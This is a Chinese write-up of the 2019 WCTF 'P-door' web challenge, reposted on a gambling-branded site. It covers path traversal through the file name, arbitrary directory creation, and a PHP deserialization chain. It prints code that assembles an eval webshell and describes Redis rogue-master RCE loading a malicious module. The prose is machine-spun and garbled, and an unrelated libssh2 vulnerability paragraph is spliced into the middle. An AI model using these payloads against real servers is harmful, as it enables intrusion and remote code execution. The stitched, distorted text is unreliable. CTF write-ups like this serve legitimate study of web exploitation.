2019 WCTF 大师赛赛题理会:P-door | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

2019 WCTF 大师赛赛题理会:P-door

申博_安全防护 申博 96次浏览 未收录 0个评论

媒介

2019 WCTF看到有一道web问题开源了:https://github.com/paul-axe/ctf.git。

同时看到wupco的题解:https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/HkzsDzRxr。

觉得这道题异常风趣,因而在此剖析一下。

信息汇集

拿到问题后,大略的看了一下几个功用:

1.注册

2.登录

3.写文章

2019 WCTF 大师赛赛题理会:P-door

同时注重到cookie:

2019 WCTF 大师赛赛题理会:P-door

2019 WCTF 大师赛赛题理会:P-door

看到有序列化的值,那末猜想可能有源码泄漏:

http://192.168.1.106:10003/.git/

扫描后发明确切存在文件泄漏。

目次穿越

代码量异常少,但应战不小。我们关注到主要有3个大类:User、Cache、Page。

同时关注到问题运用了redis作为数据库:

$redis = new Redis();
$redis->connect("db", 6379) or die("Cant connect to database");

那末猜想问题不是要getshell就是ssrf。

如果要举行getshell,那末也许能够应用写文章的功用。那末如今的审计重点则来到写文件部份:

我们关注到Page类里的publish要领:

public function publish($filename) {
    $user = User::getInstance();
    $ext = substr(strstr($filename, "."), 1);
    $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
    $user->checkWritePermissions();
    Cache::writeToFile($path, $this);
}

我们关注到途径:

$ext = substr(strstr($filename, "."), 1);

起首后缀会取第一个点后的部份,那末能够组织出途径穿越,比方:

$filename = './../../../../../var/www/html/sky.php';

所以我们能够应用这一点举行恣意目次写,我们跟进一下传参体式格局:

起首看index.php:

$controller = new MainController();
$method = "do".$_GET["m"];
if (method_exists($controller, $method)){
    $controller->$method();
} else {
    $controller->doIndex();
}

发明我们能够触发以do开首的要领,那末检察一下相干挪用publish的要领:

public function doPublish(){
        $this->checkAuth();
        $page = unserialize($_COOKIE["draft"]);
        $fname = $_POST["fname"];
        $page->publish($fname);
        setcookie("draft", null, -1);
        die("Your blog post will be published after a while (never)<br><a href=/>Back</a>");
    }

发明$page会挪用publish要领,传参运用POST参数fname。

那末我们能够组织fname参数为:

./../../../../../var/www/html/sky.php

我们继承往下,能够看到:

Cache::writeToFile($path, $this);

跟进writeToFile():

class Cache {
    public static function writeToFile($path, $content) {
        $info = pathinfo($path);
        if (!is_dir($info["dirname"]))
            throw new Exception("Directory doesn't exists");
        if (is_file($path))
            throw new Exception("File already exists");
        file_put_contents($path, $content);
    }
}

我们发明这里会举行check:

if (!is_dir($info["dirname"]))
            throw new Exception("Directory doesn't exists");

而我们的途径为:

$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;

这里明显microtime(true)文件夹不存在。

恣意文件夹建立

照样适才那句代码:

$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;

我们跟进getCacheDir():

public function getCacheDir(): string {
        $dir_path = self::CACHE_PATH . $this->name;
        if (!is_dir($dir_path)){
            mkdir($dir_path);
        }
        return $dir_path;
}

发明其中会举行mkdir,但这一步在校验写权限之前:

$user->checkWritePermissions();

故此如果我们能够掌握:

$dir_path = self::CACHE_PATH . $this->name;

那末即可建立恣意目次。

那末这里就须要我们对microtime(true)举行预估:

2019 WCTF 大师赛赛题理会:P-door

我们能够设置一个提早时间量举行批量文件夹建立,然后后续能够举行爆破publish,直到找到文件夹。

到达恣意文件写的目的。

掌握文件内容困难

libssh2被发现整数溢出和越界读取漏洞(CVE-2019-13115)

libssh2是一个C函数库,用来实现SSH2协议。SSH2是一套安全通讯协议框架(早期的SSH1由于存在安全漏洞),基于SSH2协议的产品主要有openssh,putty,SSH Secure Shell Client等,这些都是开源的,但是这些代码非常难懂而且复杂,一个个函数深层次的调用很快就让人在C语言代码的海洋中迷失了方向,妄图通过从这些开源软件中抽取程序代码段来“组装”自己的应用程序是非一般人所能实现的。不过还好网路上出现了一些开源的SSH2开发库,利用这些开发库开发自己的SSH2程序却要简单得多,由于这些开发库都是开源的,往往是针对linux平台的,而且一般只提供了源代码。 不过,最近libssh2 被发现整数

在可恣意文件写后,我们须要掌握文件的内容,我们审计相干代码:

Cache::writeToFile($path, $this);

注重到$this,我们跟进writeToFile():

public static function writeToFile($path, $content) {
    $info = pathinfo($path);
    if (!is_dir($info["dirname"]))
        throw new Exception("Directory doesn't exists");
    if (is_file($path))
        throw new Exception("File already exists");
    file_put_contents($path, $content);
}

发明症结代码:

file_put_contents($path, $content);

此处会触发魔法要领__toString():

public function __toString(): string {
        return $this->render();
    }

进而触发render():

public function render(): string {
        $user = User::getInstance();
        if (!array_key_exists($this->template, self::TEMPLATES))
            die("Invalid template");
        $tpl = self::TEMPLATES[$this->template];
        $this->view = array();
        $this->view["content"] = file_get_contents($tpl);
        $this->vars["user"]  = $user->name;
        $this->vars["text"]  = $this->text."\n";
        $this->vars["rendered"] = microtime(true);
        $content = $this->renderVars();
        $header = $this->getHeader();
        return $header.$content;
    }

此处会对content举行过滤:

$content = $this->renderVars();

我们跟进renderVars():

public function renderVars(): string {
        $content = $this->view["content"];
        foreach ($this->vars as $k=>$v){
            $v = htmlspecialchars($v);
            $content = str_replace("@@[email protected]@", $v, $content);
        }
        return $content;
}

我们发明这里会对content举行过滤:

$v = htmlspecialchars($v);

那末如今的难点在于,我们没法组织出php tag来写入文件:

php > echo htmlspecialchars("<?php phpinfo();?>");
&lt;?php phpinfo();?&gt;

奇妙php tag组织

我们注重到症结代码:

$this->view = array();
$this->view["content"] = file_get_contents($tpl);
$this->vars["user"]  = $user->name;
$this->vars["text"]  = $this->text."\n";
$this->vars["rendered"] = microtime(true);
$content = $this->renderVars();
$header = $this->getHeader();

而且在过滤之前,有赋值操纵:

$content = $this->view["content"];

如果我们能在赋值之前掌握$this->view,将其变成字符串而非数组,那末则能够绕过过滤:

2019 WCTF 大师赛赛题理会:P-door

那末这里就要用到2017 GCTF中的一个要领:

https://skysec.top/2017/06/20/GCTF%E7%9A%84%E4%B8%80%E9%81%93php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE/

我们能够应用&,比方:

$this->vars["text"]  = &$this->view;

而此时我们只需转变$text的值,即可到达变动$this->view的目的,而我们发明$text并没有过滤,故此,我们能够组织:

$text='<?php';

如许$view就会变成字符串,而非数组,如许便达成了我们上图bypass过滤的目的。

那末我们怎样组织出可用的exp呢?仅仅1个<是不够的,而且此处我们注重到file_put_contents不是追加数据而是掩盖。

所以我们的exp必需一次到位。那末这里就要看到末了的return:

return $header.$content;

如果$content依旧为对象,那末就会继承触发_toString(),如许一来我们就能够一个字符一个字符举行拼接,直到凑出exp,附上lcbc的组织exp:

$PAYLOAD = "<?php eval(\$_REQUEST[1]);";
function gen_payload($payload){
    $expl = false;
    for ($i=0; $i<strlen($payload); $i++){
        $p = new Page("main");
        $p->text= $payload[$i];
        $p->vars["text"] = &$p->view;
        if (!$expl)
            $expl = $p;
        else {
            $p->header = $expl;
            $expl = $p;
        }
    }
    return serialize($expl);
}
gen_payload($PAYLOAD);

异常奇妙的拼接出了payload:

2019 WCTF 大师赛赛题理会:P-door

在末了闭合?>的时刻,也用了一个技能,能够运用__halt_compiler()举行编译器住手:

2019 WCTF 大师赛赛题理会:P-door

2019 WCTF 大师赛赛题理会:P-door

即可胜利完成组织。

redis

这里用到了一个新的知识点,而且之前的未受权接见写shell,而是主从形式。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

我们简朴测试一下:

$ redis-cli
127.0.0.1:6379> slaveof 127.0.0.1 6379
OK

2019 WCTF 大师赛赛题理会:P-door

127.0.0.1:6379> slaveof no one
OK

2019 WCTF 大师赛赛题理会:P-door

须要注重的一点,slave只能举行read:

2019 WCTF 大师赛赛题理会:P-door

我们来模仿一下:

假定问题redis效劳在192.168.1.106:10004
我们的公网ip为192.168.1.185

运用剧本:

https://github.com/n0b0dyCN/redis-rogue-server

在模仿公网ip为192.168.1.185端模仿一个redis server,启动时加载歹意so文件,然后让目的192.168.1.106:10004成为该server的slave,应用FULLRESYNC,能够举行RCE:

2019 WCTF 大师赛赛题理会:P-door

然后能够getflag:

2019 WCTF 大师赛赛题理会:P-door

跋文

这个题照样异常圆满的一道题,学到许多,respect!

原文地点: https://www.4hou.com/web/19152.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明2019 WCTF 大师赛赛题理会:P-door
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址